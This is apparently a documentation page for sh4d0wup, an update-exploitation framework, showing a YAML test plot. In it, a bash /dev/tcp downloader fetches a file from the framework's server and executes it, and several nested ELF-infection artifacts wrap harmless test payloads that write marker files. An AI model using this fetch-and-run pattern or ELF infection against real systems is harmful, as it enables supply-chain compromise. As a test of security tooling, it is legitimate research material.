sh4d0wup 0.11.0

Signing-key abuse and update exploitation framework
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

check:
  # use an obscurely old linux
  image: ubuntu:12.04
  cmds:
    # use a bash downloader because the only alternative would be python 2.7
    - |
      bash -c '{ echo -ne "GET /a HTTP/1.0\r\n\r\n" 1>&3; cat 0<&3; } \
        3<>/dev/tcp/$SH4D0WUP_BOUND_IP/$SH4D0WUP_BOUND_PORT \
        | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > /a'
    - chmod +x /a
    - /a

artifacts:
  payload:
    type: inline
    data: |
      id
      sleep 0.25
      for x in c rust; do
        cat /tmp/sh4d0wup-test-$x.log || echo "test failed: $x"
      done
      echo all tests completed

  # it's not possible to execute scripts through memfd because the interpreter can't open the in-memory file descriptor
  # for this reason we wrap it in another elf
  payload-elf:
    type: infect
    infect: elf-fwd-stdin
    artifact: payload

  test-c-done:
    type: infect
    infect: elf-fwd-stdin
    backend: c
    data: |
      echo 'test complete: c' > /tmp/sh4d0wup-test-c.log
  test-go-done:
    type: infect
    infect: elf-fwd-stdin
    backend: go
    data: |
      echo 'test complete: go' > /tmp/sh4d0wup-test-go.log
  test-rust-done:
    type: infect
    infect: elf-fwd-stdin
    backend: rust
    data: |
      echo 'test complete: rust' > /tmp/sh4d0wup-test-rust.log

  test-bind-c:
    type: infect
    infect: elf
    backend: c
    artifact: payload-elf
    elf_artifact: test-c-done
  #test-bind-go:
  #  type: infect
  #  infect: elf
  #  backend: go
  #  artifact: test-bind-c
  #  elf_artifact: test-go-done
  test-bind-rust:
    type: infect
    infect: elf
    backend: rust
    artifact: test-bind-c # TODO: test-bind-go
    elf_artifact: test-rust-done

  # wrap one last time so there's a stable artifact name we can reference
  elf:
    type: infect
    infect: elf
    artifact: test-bind-rust

routes:
  - path: /a
    type: static
    args:
      artifact: elf